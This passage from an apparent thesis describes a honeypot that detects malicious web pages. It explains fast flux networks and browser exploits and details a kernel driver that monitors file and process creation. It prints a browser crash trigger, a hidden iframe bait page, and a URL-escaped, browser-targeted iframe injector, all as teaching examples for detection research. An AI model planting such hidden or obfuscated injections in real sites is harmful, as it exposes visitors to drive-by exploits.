ing malicious or pirated files. Web or file server software can be installed on the

computers to access the files from any computer on the Internet via protocols such

as HTTP, FTP, or TFTP.

Attackers can increase the number of compromised computers under their control

by sending commands to the malware installed on the computers to propagate to

other computers on the Internet. Agobot [6], a popular bot with many variants,

has built-in functionality to propagate to other computers via backdoors left by the

Bagle and MyDoom worms. Agobot also has built-in functionality to scan for and
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exploit multiple Windows vulnerabilities.

Fast Flux Networks

Attackers can extend the lifespan of Web servers under their control by using com-

promised computers to form a fast flux network [30]. A domain name of a Web server

protected by a fast flux network maps to an IP address of a different compromised

computer every time the domain name is resolved. This is achieved with a name

server controlled by the attacker, which constantly changes the list of IP addresses

assigned to the Web server’s domain name (DNS address records). The IP addresses

are assigned a low Time-To-Live (TTL) value. The low TTL value expires rapidly

(e.g., every few seconds or minutes), forcing Web clients to discard any data in the

DNS cache and reconnect to the name server to resolve the domain name again when

needed.

Compromised computers in a fast flux network act as redirectors. Every time a

Web client accesses the domain name, the request is sent to a different compromised

computer that forwards the request to the protected Web server. The Web server

sends the response to the compromised computer, and the compromised computer

forwards the response to the Web client. Shutting down a Web server protected

by a fast flux network is difficult since the real IP address of the Web server is not

known. If a compromised computer in the fast flux network is shut down, a different

compromised computer takes its place to serve.

Figure 2.8 shows a subset of IP addresses of compromised computers used to

protect a Web server, which has the domain name merrychristmasdude.com. The

URL http://merrychristmasdude.com/ pointed to a Web page that was distribut-
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merrychristmasdude.com. 0 IN A 24.210.99.xxx

merrychristmasdude.com. 0 IN A 76.117.96.xxx

merrychristmasdude.com. 0 IN A 76.93.91.xxx

merrychristmasdude.com. 0 IN A 90.45.180.xxx

merrychristmasdude.com. 0 IN A 68.204.186.xxx

merrychristmasdude.com. 0 IN A 67.165.111.xxx

merrychristmasdude.com. 0 IN A 86.76.88.xxx

merrychristmasdude.com. 0 IN A 24.129.120.xxx

merrychristmasdude.com. 0 IN A 68.167.71.xxx

merrychristmasdude.com. 0 IN A 75.64.251.xxx

...

Figure 2.8: Fast flux network used to protect a Web server that distributed the
Storm worm on December 24, 2007

ing the Storm worm on December 24, 2007. The TTL value for each IP address was

set to zero.

2.4 Web-based Exploits

A Web-based exploit targets a vulnerability in the Web browser or via the Web

browser such as vulnerabilities in plug-ins, helper applications, or libraries. These

types of vulnerabilities, which are mostly memory corruption vulnerabilities, are

commonly referred to as browser vulnerabilities.

Figure 2.9 shows some JavaScript code that triggers a browser vulnerability [54]

disclosed in 2006. Vulnerable versions of Internet Explorer on Windows XP SP2

crash when the code is interpreted by the browser. When the browser crashes, the

instruction pointer (eip register) always points to 0x3c0474c2. To exploit this vul-

nerability, an attacker can create a Web-based exploit that first places the shellcode
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<script>

id = document.createElement("input");

id.type = "checkbox";

range = id.createTextRange();

</script>

Figure 2.9: Triggering the createTextRange() vulnerability in Internet Explorer

at 0x3c0474c2 and then triggers the vulnerability. When the instruction pointer is

set to 0x3c0474c2, the shellcode executes.

In this thesis, Web-based exploits and the so-called drive-by downloads do not

refer to the same thing. Web-based exploits do not require any user interaction

other than viewing the malicious Web page. Drive-by downloads, on the other hand,

sometimes require user interaction and rely on social engineering techniques to trick

the user into downloading malware. Furthermore, a Web page performing a drive-by

download can be a legitimate Web page. If the user’s Web browser is poorly config-

ured, a legitimate Web page that requires a browser plug-in (e.g., ActiveX control)

can automatically download and install the plug-in without the user’s knowledge.

2.4.1 Malicious Web Pages

A Web page that serves users a Web-based exploit, which successfully downloads and

executes malicious software on a user’s computer, is called a malicious Web page. The

Web-based exploit served by malicious Web pages is hosted on Web servers known

as the exploit servers. The malware downloaded by the Web-based exploit, which is

commonly referred to as Web-based malware, is hosted on Web servers known as the

malware servers.
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<html><body>

<iframe

src="http://www.cpsc.ucalgary.ca/~amaobied/exploits/example.html"

width="0" height="0" frameborder="0"></iframe>

<script

src="http://www.cpsc.ucalgary.ca/~amaobied/exploits/example.js">

</script>

</body></html>

Figure 2.10: Web page with an embedded iframe and script elements

Users are lured into viewing a malicious Web page PM directly by entering the

page’s URL in the Web browser or clicking on a URL in a Web page or an email

message. Users can also be lured into viewing a malicious Web page indirectly by

using a Web page referred to as the bait Web page PB. Bait Web pages are usually

hosted on Web servers different from the exploit and malware servers. These Web

pages redirect users automatically to malicious Web pages, or embed the content of

malicious Web pages via specific elements in HTML such as the iframe or script

elements. When a Web browser encounters an embedded element, the Web browser

automatically retrieves the Web page or resource using the URL in the src attribute

of the element. Redirection and embedding of content can pass through various Web

pages before the malicious Web page is reached as follows:

Redirection : PB → P1 → P2 → ...→ Pn → PM

Embedding : PB ← P1 ← P2 ← ...← Pn ← PM

The bait Web page and the various Web pages in between (if there are any)

can be controlled by the attacker or the attacker’s affiliates. Since a bait Web page
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drives users to a malicious Web page indirectly, the terms “bait Web page” and

“malicious Web page” are used interchangeably in this thesis to refer to Web pages

that eventually deliver a Web-based exploit to the user.

Although users can reach malicious Web pages on their own while surfing the

Web, attackers use a variety of techniques to drive users to malicious Web pages

and achieve higher malware infection rates. Attackers can send spam messages that

contain a link to a malicious Web page, and convince users to click on the link via so-

cial engineering techniques. Attackers can modify legitimate and trusted Web pages

and turn them into bait Web pages. Hundreds of vulnerabilities in Web applications

such as SQL injection and Cross-Site Scripting are reported every week [68]. These

vulnerabilities occur when data entered by users in forms embedded in Web pages

are poorly sanitized (e.g., applications do not filter the script HTML element). At-

tackers can use vulnerabilities in Web applications to inject an iframe or a script

that points to a malicious Web page. When a user views the legitimate Web page,

the Web browser automatically retrieves the resources embedded in the legitimate

Web page, and the Web-based exploit is delivered. Figure 2.10 shows a Web page

that embeds another Web page example.html using the iframe element, and some

JavaScript code example.js using the script element.

Obied et al. [60] harvested URLs linking to Web pages from different sources and

corpora, and conducted a study to examine these URLs in-depth. For each URL,

the researchers extracted its domain name, determined its frequency, IP address, and

geographic location, and checked if the Web page is accessible. Using three search

engines (Google, Yahoo, and Windows Live), the researchers check if the domain

name appears in the search results; and using McAfee SiteAdvisor, determine the
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domain name’s safety rating. The researchers found that users can encounter URLs

pointing to malicious Web pages not only in spam and phishing messages but in

legitimate email messages and the top search results returned by search engines.

Ming et al. [80] designed and implemented an automated Web patrol system

called the Strider HoneyMonkey Exploit Detection System to identify malicious Web

pages. The system consists of a network of 20 computers running Windows XP

virtual machines with different patch levels. The system visits URLs with Internet

Explorer and detects exploitation via a black-box, non-signature-based approach.

Strider Tracer [83] is used to monitor executable files created or modified outside the

browser folders, processes created, and Windows registry entries created or modified.

In addition, GateKeeper [82] and GhostBuster [81] are used to monitor critical entries

in the Windows registry.

The system implemented by Ming et al. is capable of visiting and perform-

ing in-depth analysis of approximately 500 to 700 URLs per virtual machine per

day. Topology graphs based on redirection are constructed to identify major ex-

ploit servers. The researchers used the system to visit 16,190 suspicious URLs and

1,000,000 popular URLs, and found that the density of malicious Web pages is 1.28%

and 0.071% respectively.

Moshchuk et al. [48] designed and implemented a cluster-based system with 10

nodes running Windows XP virtual machines with no service packs to analyze mali-

cious content on the Web. The researchers conducted a study to quantify the density

of spyware and Web pages performing drive-by downloads. For detecting drive-by

downloads, the system checks if an event is triggered after visiting a URL with In-

ternet Explorer. An event triggers if a new process is launched excluding known
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browser helper applications, a file is created or modified excluding browser folders,

critical registry entries are modified, or the browser or operating system crashes.

When an event triggers, the system uses anti-spyware software (Ad-Adware) to scan

for spyware. If the scanner detects spyware, the URL is marked as infectious.

The system implemented by Moshchuk et al. is capable of visiting on average

approximately 7,385 URLs per virtual machine per day. In May 2005, the researchers

visited 45,000 URLs and found 5.9% of Web pages performing drive-by downloads

when the system was configured to click “yes” to prompts in Web pages, and 1.5%

when the system was configured to click “no” to prompts. In October 2005, the

same URLs were visited and the researchers found 3.4% and 0.1% respectively. A

new set of 45,000 URLs was generated in October 2005, and the system visited the

URLs in the new set. The researchers observed a decline in the number of Web pages

performing drive-by downloads, since the density was 0.4% when clicking “yes” and

0.2% when clicking “no”.

Provos et al. [64] designed and implemented an architecture for automated anal-

ysis of malicious Web pages and collection of Web-based malware. The system visits

URLs with Internet Explorer using a virtual machine and records HTTP requests as

well as state changes in the virtual machine such as file system and registry changes,

and new processes being started. Individual scores are assigned to each recorded

component, and the final score of a visited URL is computed by taking the sum

of all individual scores. Based on the final score, a URL is marked malicious or

non-malicious.

Provos et al. applied simple heuristics using MapReduce [20], a programming

model for processing and generating large data sets, to billions of Web pages in



37

Google’s Web page repository to select candidate URLs with a strong indication of

being malicious. This process reduced the number of candidate URLs from several

billions to a few millions. The researchers used the automated analysis architecture

to check 4.5 million URLs and found 450,000 malicious Web pages (10%). The

researchers also found another 700,000 Web pages that seemed malicious but had a

low final score.

Provos et al. observed that four mechanisms are used to inject malicious content

into legitimate Web pages: exploitation of Web server software, user contributed

content, third-party widgets, and advertising. The researchers also observed that

Web-based malware can turn compromised computers into botnet-like structures

that periodically query Web servers for instructions and updates.

2.5 Summary

In this chapter, relevant background information and related work were presented.

Section 2.1 described HTTP and related Web terminology. A general discussion of

software vulnerabilities and exploitation was presented in Section 2.2. Section 2.3

presented the different types of malicious software and discussed how attackers can

use malicious software for financial gain. Finally, Web-based exploits and malicious

Web pages were discussed in Section 2.4. The next chapter gives a general overview

of a client-side honeypot that is used to effectively identify malicious Web pages.



Chapter 3

Overview of a Client-side Honeypot

In the previous chapter, an overview of malware and Web-based exploits was pre-

sented. This chapter presents an overview of a client-side honeypot that we designed

and implemented to effectively identify malicious Web pages. An overview of the

honeypot’s architecture is presented in Section 3.1. Section 3.2 discusses how the

honeypot can be seeded with URLs. Section 3.3 presents an overview of the hon-

eypot’s automated processing of Web pages. A brief description of the detection

approach used by the honeypot to detect the delivery of Web-based exploits is pre-

sented in Section 3.4. Section 3.5 presents an overview of data collection, analysis,

and visualization. Finally, Section 3.6 summarizes the chapter.

3.1 General Overview

In this thesis, the terms “client-side honeypot” and “honeypot” are used interchange-

ably to refer to the implemented honeypot. The implemented honeypot does not

have any production value other than being exploited and compromised via mali-

cious Web pages. The honeypot controls a vulnerable version of Internet Explorer

inside a virtual machine running Windows XP SP2. The honeypot sends Internet

Explorer commands to visit Web pages randomly and can detect when a Web page

delivers a Web-based exploit.

Figure 3.1 shows an overview of the honeypot’s architecture. The honeypot con-

38
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Figure 3.1: An overview of the honeypot’s architecture with a single virtual machine
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sists of several back-end components to collect and store data, and a front-end com-

ponent to access and visualize the collected data. These components are described

in logical order as follows:

• Repository. Database used for storing the collected data.

• URL Submitter. Submits URLs to the honeypot.

• URL Server. Distributes URLs to controllers.

• Hypervisor. Manages several virtual machines, where each virtual machine

runs a vulnerable version of Windows XP with a vulnerable version of Internet

Explorer.

• Web Bot. Controls Internet Explorer, detects Web-based exploits, and col-

lects data.

• Controller. Manages a virtual machine and a Web bot.

• Device Driver. Monitors and records file and process creation activities.

• Web Interface. Interface to visualize the data collected by the honeypot via

the Web.

A hypervisor is software that allows multiple virtual machines to run on a single

computer. Each virtual machine can run any operating system as long as the operat-

ing system is supported by the underlying hardware. A hypervisor such as Xen [85]

that can run directly on hardware is commonly referred to as a native hypervisor.

Hypervisors such as VMware [79], Microsoft’s Virtual PC [44], and User Mode Linux
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Figure 3.2: An overview of a hypervisor architecture.

[78] that can run on top of an operating system are commonly referred to as hosted

hypervisors. The operating system that a hosted hypervisor runs on is called the

host operating system, and the operating system that runs inside a virtual machine is

called the guest operating system. A typical hosted hypervisor setup consists of one

host and several guests. Figure 3.2 shows an overview of a hypervisor architecture.

In this thesis, only the hosted hypervisor is relevant. Thus, the terms “hypervisor”

and “hosted hypervisor” are used interchangeably.

A hypervisor such as VMware has an Application Programming Interface (API)

that can be used to control the virtual machine, such as powering the virtual machine

on or off, copying files from the host to the virtual machine, copying files from the

virtual machine to the host, and restoring the virtual machine to a previous snapshot.

The ability to take snapshots of the virtual machine’s state is one of the most powerful
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features offered by hypervisors. This means that if a clean snapshot of the virtual

machine’s state is taken before the virtual machine is compromised, it takes a few

minutes to restore the virtual machine to a clean state.

A typical setup of the implemented honeypot consists of one repository, one

URL submitter, one URL server, and several hypervisors, where each hypervisor

runs multiple virtual machines. Each virtual machine has a monitoring device driver

and a Web bot, and is managed by a controller.

3.2 Submission of URLs

URLs are submitted to the honeypot via the URL submitter, which stores the URLs

in the repository. The URLs that have not been processed by the honeypot are

retrieved by the URL server and distributed to controllers. When there are no URLs

in the repository to process, the honeypot automatically waits until new URLs are

submitted. When new URLs are submitted, the honeypot automatically continues

to work from the point it halted. The URLs that the honeypot uses can be collected

from any source and submitted to the honeypot via the URL submitter. Spam

messages, HTTP network traces, Web crawls, or search engine results for specific

keywords are all examples of sources that can be used to collect URLs of Web pages

that can be checked by the honeypot. The URL submitter requires a set of tags

to be associated with a submitted URL to remember where the URL was collected

from, and allow clustering of URLs based on source. A tag is a keyword that can

describe the source of the URL. For example, if the following URL:

http://www.ucalgary.ca/about/index.html,
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is collected from an HTTP network trace captured at the University of Calgary on

April 2008, then a possible set of tags can be:

http network trace university calgary april 2008

3.3 Automated Processing of Web Pages

The honeypot is fully automated. User interaction is only required to start the

honeypot. To achieve full automation, the honeypot is designed to be fault-tolerant.

The honeypot can detect and handle several failure cases that can be triggered when

the honeypot visits malicious Web pages. For example, Web-based exploits can halt

or crash the Web browser, Web-based malware can crash the virtual machine, Web

bots can lose connections to the repository or controllers, etc.

In addition, the honeypot is designed to be scalable to increase performance

when processing Web pages. The URL server in the honeypot acts as a centralized

component that distributes the load among controllers. The honeypot’s architecture

can be extended by adding new virtual machines and controllers, which manage the

new virtual machines. When new controllers are added to extend the honeypot’s

architecture, the controllers automatically connect to the URL server to share the

load.

Algorithm 3.1 shows a high-level overview of the honeypot’s automated processing

of Web pages. In Algorithm 3.1, i refers to the ith virtual machine. The automated

processing of Web pages and the several components involved are described in-depth

in Chapter 5.
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Algorithm 3.1 Automated processing of Web pages

1. while there are URLs in the repository Db do
2. The URL server Us retrieves n URLs from Db

3. Us stores the URLs in a queue Qu

4. while there are URLs in Qu do
5. A controller Ci requests a URL from Us

6. Us sends a URL to Ci

7. Ci forwards the URL to a Web bot Wi

8. Wi sends a command to Internet Explorer to navigate to the URL of a Web
page P

9. if P is malicious then
10. Ci restores the virtual machine to a clean state
11. end if
12. end while
13. end while

3.4 Detection of Web-based Exploits

The detection engine in the honeypot went through various design stages to improve

speed and accuracy. The engine can detect the majority of Web-based exploits in-

cluding zero-day exploits since the engine uses a behaviour-based detection technique

rather than a signature-based technique. Behaviour-based detection techniques rely

on finding a deviation from normal behaviour to detect malicious behaviour. Since

the honeypot is not used by a human, finding a deviation becomes a simpler task.

For example, if a new executable file or a new process is created after visiting a Web

page P , then it is a strong indication that P delivered a Web-based exploit that

successfully downloaded and executed malware.

To detect Web-based exploits, a device driver inside a virtual machine monitors

process and file creation activities, and records these activities to a log file. The
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log file is processed by a detection module, which analyzes the recorded activities

to determine if P attempted to deliver a Web-based exploit. If a deviation from

normal behaviour is found based on the recorded activities, P is marked as malicious.

Detection of Web-based exploits is described in-depth in Chapter 4.

3.5 Data Collection, Analysis, and Visualization

One of the primary goals of any honeypot is collecting useful data. For each Web

page P , the honeypot collects the following:

• Image paths of processes and files created in the virtual machine, if there are

any.

• Screenshot of the virtual machine’s desktop, if possible.

• Redirection information, if the Web browser was redirected to a different Web

page.

• URLs specified in the href attribute of anchor elements (outgoing links), if

there are any.

• URLs specified in the src attribute of iframe or script elements, if there are

any.

• DNS address records, if available.

In addition, the honeypot automatically collects all files created in the virtual ma-

chine if P is malicious. This includes the malicious Web page, which is downloaded

to the Web browser’s cache, and the downloaded malware.
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Figure 3.3: Example of an analysis graph

Some of the data collected by the honeypot (e.g., extracted URLs and malware)

is used to create relations between different Web pages, and between Web pages and

malware. These relations can be used to construct an analysis graph. An analysis

graph has two types of nodes: a Web page P or a malware M . An edge between

two Web pages P1 and P2 depends on the relation between P1 and P2. If P1 has a

hyperlink that points to P2, the relation is called a link relation and the edge is an

outgoing link edge. If P1 redirects the Web browser to P2, the relation is called a

redirect relation and the edge between P1 and P2 an outgoing redirect edge. If P1

has an iframe element that points to P2, the relation is called an iframe relation

and the edge is an outgoing iframe edge. If P1 has a script element that points to

P2, the relation is called a script relation and the edge is an outgoing script edge.

The relation between a Web page P and a malware M is called an install relation

and the edge between P and M is an install edge. Install edges between Web pages

and malware are constructed based on the cryptographic hash of the malware. For

example, if a Web page P1 installs malware M1 that has a cryptographic hash H and
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a Web page P2 installs malware M2 that has the same cryptographic hash H then

P1 and P2 are related. Thus, a malware M that has the cryptographic hash H has

two install edges in the analysis graph: an edge to P1 and an edge to P2.

To demonstrate the construction of an analysis graph, assume that there are five

Web pages: P1, P2, P3, P4, and P5. Now consider the following scenario:

• P1 has outgoing links to P2 and P3

• P2 delivers a Web-based exploit that installs malware M1.

• P3 has an iframe element that points to P4.

• P4 delivers a Web-based exploit that installs two malwares M1 and M2.

• P5 redirects the Web browser to P2.

If the honeypot checks all five Web pages, the relations created by the honeypot

can be used to construct the analysis graph in Figure 3.3. From the graph, we can

see that P1, P3, and P5 are bait Web pages that lead indirectly to the malicious Web

pages P2 and P4. Given any Web page P in an analysis graph, the following data

can be extracted if available:

• The set of Web pages to which P has outgoing links.

• The set of Web pages that have outgoing links to P . In other words, P ’s

incoming links.

• The Web page to which P redirects the Web browser.

• The set of Web pages that redirect the Web browser to P .
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• The set of Web pages to which P points in an iframe or a script element.

• The set of Web pages that point to P in an iframe or a script element.

Additionally, given any malware M captured by the honeypot, the set of Web pages

that install M can be extracted from the analysis graph.

3.6 Summary

In this chapter, we presented an overview of a honeypot used to identify malicious

Web pages, which successfully download and execute malware via Web-based ex-

ploits. The various components of the honeypot were presented in Section 3.1. Sec-

tion 3.2 discussed how URLs are submitted to the honeypot. Section 3.3 presented

an overview of how the honeypot is automated. Section 3.4 presented a brief descrip-

tion of the detection mechanism used by the honeypot. Data collection, analysis,

and visualization were discussed in Section 3.5. In addition, Section 3.5 introduced

the notion of the analysis graph. In the next chapter, a detailed description of the

detection approach used by honeypot is presented.



Chapter 4

Detection of Web-based Exploits

This chapter describes how Web-based exploits delivered by malicious Web pages are

detected by the honeypot described in Chapter 3. Section 4.1 gives a general overview

of malware and exploit detection techniques with a focus on detection of Web-based

exploits. Section 4.2 presents a general overview of our detection approach, and

describes how our approach is simpler and more effective than the approaches used

in prior related work. A detailed description of the detection engine and its various

components are presented in Section 4.3. Finally, Section 4.4 summarizes the chapter.

4.1 General Overview

Traditional detection techniques that are used to detect malware or exploits are

signature-based techniques. When malware or an exploit is discovered, a unique

signature is created to detect it. Signature-based detection techniques are effective

against known malware or exploits for which signatures exist. However, these tech-

niques can be ineffective if the malware or exploit is obfuscated or unknown. To

detect such malware or exploits, behaviour-based detection techniques are used.

Behaviour-based detection techniques observe behaviour rather than use signa-

tures to detect malware or exploits. A detection engine that uses a behaviour-based

technique monitors activities in a computer, and looks for a deviation from normal

behaviour. The deviation from normal behaviour is considered malicious behaviour.

49
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For example, a common technique used by Windows-based malware to survive re-

boots is modifying one or more critical keys in the Windows registry. A behaviour-

based detection engine can monitor these critical keys, and classify any program that

tries to modify any of the keys as malicious.

Although behaviour-based detection techniques can accurately detect known or

unknown malware or exploits, these techniques can be ineffective if the number of

false positives is excessive. For example, there are legitimate programs that modify

the critical keys in the Windows registry to automatically start when Windows boots.

If the detection engine naively classifies any program that modifies any of the keys

as malicious without further investigation, the number of false positives can have

severe impact, as legitimate programs can be blocked from running.

To detect Web-based exploits, signature-based or behaviour-based techniques can

be used. Honeypots that use signature-based techniques to detect malicious Web

pages are low-interaction honeypots. Low-interaction honeypots are Web clients

that are similar to Web crawlers or spiders. These types of honeypots do not control

a Web browser. Instead, they connect to Web servers on the Internet, download

Web pages, and scan the downloaded Web pages using an anti-malware scanner. If

the scanner detects an exploit embedded in a Web page, the Web page is marked as

malicious.

Low-interaction honeypots are simple and can be very fast in processing Web

pages. However, they are limited in the data they collect and can only detect known

Web-based exploits. In addition, low-interaction honeypots can be easily detected

and avoided by attackers. For example, an attacker can set up a bait Web page that

first checks if the Web client is a real Web browser, and then redirects to or embeds
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<html><body><script>

if (navigator.userAgent.indexOf("MSIE") > 0) {

var e = "%3C%69%66%72%61%6D%65%20%73%72%63%3D%22%68%74%74%70%3A";

e += "%2F%2F%77%77%77%2E%63%70%73%63%2E%75%63%61%6C%67%61%72%79";

e += "%2E%63%61%2F%7E%61%6D%61%6F%62%69%65%64%2F%65%78%70%6C%6F";

e += "%69%74%73%2F%65%78%61%6D%70%6C%65%2E%68%74%6D%6C%22%20%77";

e += "%69%64%74%68%3D%22%30%22%20%68%65%69%67%68%74%3D%22%30%22";

e += "%20%66%72%61%6D%65%62%6F%72%64%65%72%3D%22%30%22%3E";

document.write(unescape(e));

}

</script></body></html>

Figure 4.1: Example of an obfuscated iframe element

a malicious Web page accordingly. Figure 4.1 shows an example of such a scenario.

In the example, some JavaScript code is used to first check if the Web browser is

Internet Explorer, and then writes to the Web page, dynamically via JavaScript, the

iframe element shown in Figure 2.10. The iframe element is obfuscated using URL

escape codes, which Web browsers can understand and interpret. If the obfuscated

iframe points to a malicious Web page, any low-interaction honeypot that processes

the HTML in Figure 4.1 will have difficulties detecting the embedded malicious Web

page.

To detect unknown Web-based exploits, high-interaction honeypots that rely on

behaviour-based detection techniques are used. High-interaction honeypots automat-

ically drive a Web browser, which can be exploited via malicious Web pages. These

types of honeypots are significantly slower and more complex than low-interaction

honeypots. However, they can collect data of high value (e.g., dynamically generated

exploits or malware) that low-interaction honeypots cannot collect. The honeypot
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described in Chapter 3 is a high-interaction honeypot.

Moshchuk et al. [48], Provos et al. [64], and Wang et al. [80] monitored processes,

the file system, and the Windows registry to determine if a Web page is malicious.

Monitoring processes refers to monitoring process-related activities such as creating

or terminating processes. Monitoring the file system refers to monitoring file-related

activities such as creating, opening, reading, writing, or closing files. Finally, mon-

itoring the Windows registry refers to monitoring registry-related activities such as

creating, opening, reading, writing, or closing keys.

To demonstrate how monitoring processes, the file system, and the Windows

registry can be used to determine if a Web page is malicious, consider the following

scenario:

1. A command is sent to a vulnerable Web browser to visit a Web page P , and

the Web browser visits P .

2. P delivers a Web-based exploit that carries some shellcode to download and

execute a malicious software M .

3. The Web-based exploit succeeds in taking advantage of a vulnerability in the

Web browser, causing the Web browser to execute the shellcode.

4. The shellcode downloads M to the honeypot, and executes M .

5. M modifies critical keys in the Windows registry to survive reboots.

In the above scenario there are several process-, file-, and registry-related activ-

ities. A honeypot can use any of these activities to classify P as malicious. For
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example, the Web-based exploit in the above scenario downloaded M to the honey-

pot. If the honeypot classifies any Web page as malicious when a new file is created

after visiting a Web page, then P will automatically be classified as malicious. When

the Web-based exploit executed M , a new process was created. If the honeypot clas-

sifies any Web page as malicious when a new process is created after visiting a Web

page, then P will automatically be classified as malicious. The malicious software

M modified critical keys in the Windows registry. If the honeypot classifies any Web

page as malicious when critical keys are modified after visiting a Web page, then P

will automatically be classified as malicious.

Although monitoring processes, the file system, and the Windows registry can be

used to determine if a Web page is malicious, there are several issues that need to be

handled. For example, there are legitimate activities generated by the Web browser

such as creating new files in the browser’s local cache, creating cookie files, reading

the values of specific keys from the registry when plug-ins are loaded, or spawning

helper processes.

In addition, there are several activities generated by legitimate processes. Modern

operating systems such as Windows have several legitimate processes that run in the

background. These processes might create new files, open or write to existing files, or

simply read the values of specific keys from the registry. A few minutes of monitoring

process-, file-, and registry-related activities, even on an idle computer, can generate

hundreds of legitimate activities.

Dealing with the issues described above is critical since it can generate many false

positives. In the related work, Provos et al. [64] did not describe how they dealt

with such issues. Wang et al. [80] and Moschuck et al. [48] briefly described how
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such issues were resolved. However, there are several limitations in their approaches.

Wang et al. and Moschuck et al. ignored files created or modified inside the Web

browser folders such as the local cache. We found that ignoring files created in

the Web browser’s folders is ineffective. When the Web browser is exploited, the

shellcode executes in the context of the Web browser. Thus, the Web browser’s

local cache is the default location to which malware is downloaded. In addition,

Moschuck et al. ignored files created by helper applications. Thus, a Web-based

exploit that targets a vulnerability in a helper application cannot be detected using

their approach.

4.2 Detection Approach

In the implemented honeypot, we use a simpler and a more effective detection ap-

proach that automatically deals with most of the issues described above. Our de-

tection approach relies on monitoring and recording only two types of activities to

detect when a Web page delivers a Web-based exploit. These activities are process

creation and file creation. Monitoring only two types of activities reduces the total

number of recorded activities significantly, which improves the speed and accuracy

of detection. In addition, our approach can effectively ignore activities generated

by legitimate processes by only looking at the activities of the Web browser and

processes spawned by the Web browser.

We devised our approach after conducting several tests. First, we monitored all

process-, file-, and registry-related activities as described in related work and visited

a known malicious Web page P . After visiting P , we found that the total number of
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recorded activities is significant. We analyzed the recorded activities and observed

that malicious behaviour can be detected by only looking at the activities of the Web

browser and the processes spawned by the Web browser. We use this observation

in our approach to filter out all the activities generated by legitimate processes that

are not related to the Web browser.

Second, we observed that monitoring the Windows registry is not necessary. The

Windows registry is sometimes accessed by the downloaded malware but not by

the Web-based exploits. To verify our observation, we only monitored process- and

file-related activities and visited P again. We analyzed the recorded activities after

visiting P and found that malicious behavior can still be detected as accurately as

before. In addition, we found that ignoring all registry-related activities reduced

the total number of recorded activities that we analyze to detect malicious behavior

significantly.

Finally, we observed that we can effectively detect the delivery of Web-based

exploits by only monitoring process and file creation activities rather than monitoring

all process- and file-related activities such as terminating processes, opening, reading,

writing, and closing files. To verify our observation, we only monitored process and

file creation activities and visited P . We analyzed the recorded activities and found

that malicious behavior can still be detected. File creation activities can be used

to detect the download of malware by a Web-based exploit and process creation

activities can be used to detect the execution of malware.
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Figure 4.2: An overview of the detection engine

4.3 Detection Engine

The detection engine in the implemented honeypot consists of three components:

a device driver, a driver controller, and a detection module. Figure 4.2 shows a

high-level overview of the various components in the detection engine. The device

driver executes in kernel-mode inside a virtual machine. When the driver is loaded

into kernel memory, the driver sets up the appropriate callbacks and hooks for the

activities to be monitored. The driver accepts two types of I/O control messages,

which are sent via the driver controller. These control messages are used to set a

monitoring flag to true or false. By default, the monitoring flag is set to false until

an I/O control message is sent to the driver to set the monitoring flag to true. When

the monitoring flag is set to true, the driver records all process and file creation

activities to a log file. The activities in the log file are processed by the detection

module.
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4.3.1 Device Driver

The operating system that is used in the virtual machines in the honeypot is Windows

XP SP2. To monitor process and file creation activities in Windows, we implemented

a device driver. A device driver is a component that extends the functionality of

the Windows kernel. Device drivers ususally execute in kernel-mode, which is the

highest hardware privilege level of the Central Processing Unit (CPU), and provide

an interface for programs to communicate with hardware (e.g., hard disk or network

adaptor). A device driver that executes in kernel-mode has unrestricted access to

memory and CPU instructions [67]. Thus, a device driver can access and modify any

code or data that belongs to any process on the computer [27].

There are different techniques that can be used to load a device driver into kernel

memory. The implemented device driver is loaded using the traditional method,

which loads the driver as a service via the service control manager. Every device

driver must have an entry point. This entry point is the DriverEntry routine that

is invoked by the I/O manager in the context of the System process when a driver is

loaded. In the DriverEntry routine, the implemented driver performs several tasks

that can be summarized as follows:

• Creates a device object and a symbolic link so that the driver can be accessed

by the driver controller from user-mode.

• Initializes a mutex object used to synchronize access to the log file.

• Initializes an event object used to indicate when an activity has been recorded

to the log file.
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• Initializes two lookaside lists for managing memory used by the driver.

• Sets up a hook to intercept calls to NtCreateFile in ntoskrnl.exe.

• Registers a callback routine to get notifications when new processes are created.

In addition, the driver populates the function dispatch table in the DRIVER OBJECT

data structure, which is passed by the I/O manager, with the appropriate callback

routines. These routines are invoked by the I/O manager when a user-mode appli-

cation sends requests to the driver (e.g., read, write, etc.). The implemented driver

routes all requests, except the IRP MJ DEVICE CONTROL request, to a function that

does nothing. The IRP MJ DEVICE CONTROL request is sent from a user-mode appli-

cation via the DeviceIoControl function. There are two types of messages that

the driver accepts via the DeviceIoControl function. These messages are shown in

Table 4.1.

Table 4.1: I/O control messages to start or stop a monitoring session
I/O control message Value Description

IOCTL START MONITORING 0x1 The driver starts recording activities
IOCTL STOP MONITORING 0x2 The driver stops recording activities

Process Creation

The driver registers a callback routine using the PsSetCreateProcessNotifyRoutine

function to monitor process creation activities. The function adds a driver-supplied

routine to a list of registered routines that are invoked every time a process is cre-

ated or terminated. When a process is created or terminated, three parameters are
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ntdll!ZwCreateFile

7c90d090 b825000000 mov eax, 25h

7c90d095 ba0003fe7f mov edx, 7ffe0300h

7c90d09a ff12 call dword ptr [edx]

...

ntdll!KiFastSystemCall:

7c90e4f0 8bd4 mov edx, esp

7c90e4f2 0f34 sysenter

...

Figure 4.3: Disassembly of ZwCreateFile in ntdll.dll (the edx register points to
KiFastSystemCall in ntdll.dll)

passed to the invoked routine Rp in the driver. These parameters are the process

ID, the parent process ID, and a boolean flag. The flag indicates whether a process

was created (true) or terminated (false). In Rp, only process creation activities are

recorded.

File Creation

To monitor file creation, the device driver uses a technique known as hooking [27].

Hooking is a powerful technique that can be used to alter the execution flow of func-

tions. When an application in user-mode tries to call one of the Windows kernel

services such as CreateFile, the call passes through various stages before the code

that implements the service (NtCreateFile in ntoskrnl.exe) is reached. To un-

derstand hooking, the flow of execution for the CreateFile function is shown in the

following example.

1. A user-mode application tries to create or open a file, so the application uses

the CreateFile function. CreateFile is one of many Windows kernel services
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that are exported by kernel32.dll.

2. The CreateFile function in kernel32.dll calls ZwCreateFile in ntdll.dll.

3. In ZwCreateFile (disassembly shown in Figure 4.3), the following is performed:

(a) The system service number for CreateFile (0x25) is loaded into the eax

register.

(b) The stack pointer (esp) is loaded into the edx register.

(c) The sysenter instruction is used to trap into kernel-mode.

4. After the trap in step 3(c), the system service dispatcher (KiSystemService)

retrieves the system service number from the eax register, and uses it to index

a table of function pointers stored in kernel memory known as the System

Service Dispatch Table (SSDT). After indexing the SSDT, KiSystemService

transfers control to the code pointed to by the pointer in the indexed entry.

For CreateFile, the code points to NtCreateFile in ntoskrnl.exe.

In the above example, there are several places in which the flow of CreateFile

can be intercepted. In the implemented driver, the interception of CreateFile is

